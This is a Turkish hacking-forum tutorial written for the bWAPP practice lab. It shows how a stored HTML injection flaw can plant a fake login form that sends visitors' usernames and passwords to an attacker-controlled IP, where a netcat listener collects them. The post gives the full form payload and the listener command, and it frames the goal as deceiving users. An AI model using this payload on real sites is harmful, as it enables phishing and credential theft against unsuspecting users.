bWAPP #2 HTML Stored Açıklı Sitede Sosyal Mühendislik

ѕeleɴια

Kıdemli Üye
18 May 2018
2,619
4
905
ZYZZ
Merhaba. Bu konuda bWAPP üzerinden stored açıklı site de nasıl bir login oluşturup insanları kandırırız ondan bahsedeceğim.

HTML Dosyası Hazırlamak


Bu olay formlar ile yapılıyor. Şimdi çok basit bir HTML dosyası oluşturacağız bu bir login ekranı olarak görünecek. Ve kişi HTML açıklı siteye girdiğinde yazı yazma kısmında bu login olacak ve diyecekki sanırım username ve password vermem gerekiyor diyip oraya verecek. Ve bizde 4545 portundan gelen veriler ile girdiği bilgileri alacağız.

Kod:
sudo apt-get install gedit
Kod:
cd Desktop
Kod:
gedit form.html

Şeklinde bir HTML dosyası oluşturuyoruz. Şimdi kodları hazır vereceğim. Mantığını anlamanız yeterli olacaktır.

Kod:
[/B][/COLOR][/SIZE][/FONT]
[FONT=Courier New][SIZE=4][COLOR=White][/COLOR][/SIZE][/FONT]
[FONT=Courier New][SIZE=4][COLOR=White][B]<form name="login" action="http://192.168.1.9:4545/test.html">
<table>
    <tr><td>Username: </td><td><input type="text" name="username" placeholder="username"></td></tr>
    <tr><td>Password: </td><td><input type="password" name="password" placeholder="password"></td></tr>
</table>
<input type="submit" value="Login">
</form>[/B][/COLOR][/SIZE][/FONT]
[FONT=Courier New][SIZE=4][COLOR=White][B]

Kodlar bu şekilde. Önce bir form oluşturuyoruz adı login formu. Sonra action yani aktivite göstereceği yer. Siz oraya kendi local ip nizi yazacaksınız bWAPP orada çünkü. Sonrasında tr td ile daha inandırıcı olması açısından görünürlük ve inputlar ile veri isteme ve submit ile bir login tuşu. Eğer hedef sitede HTML kodları çalışıyorsa bu da çalışacaktır. bWAPP i açıp stored açıklı yere geliyoruz.



Burayı HTML açıklı site düşünün yazı yazma kısmına bu kodları yapıştırıyoruz bakalım ne olacak.



Gördüğünüz gibi bir login kısmı geldi. Tabi gerçek bir saldırı yaparken böyle yapılmaz siteye göre vs. bir ekran yapılır css ile süslenir yeri ayarlanır gibi. Hatırlarsanız kodda portu 4545 vermiştik. Terminali açalım.

Kod:
nc -nlvp 4545

Kodu ile 4545 den gelen verileri dinlemeye alıyoruz.



Şuanda dinlemeye alındı. Şimdi biri gelip o bWAPP deki login kısmına girerse. Örneğin Ar Thur olarak giriyorum. Sitede hiç bir şey olmaz ama terminale baktığınızda bir GET isteği alındığını göreceksiniz.

Kod:
GET /test.html?username=Ar&password=Thur HTTP/1.1

Konu bu kadardı. Yani HTML açıklı sitelerde saldırganlar bu şekilde şifreleri ele geçirebilir. İyi forumlar.


 

AquieLL

Kıdemli Üye
1 Tem 2014
4,034
16
aquu.php
Yazmış olduğun 2 yazıyı da beğendim.Kaliteli olmuş.Eline sağlık.Diğerlerinin de anlatımını yapman foruma ve yeni gelen arkadaşlara oldukça katkıda bulunacaktır.Tekrardan eline sağlık.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.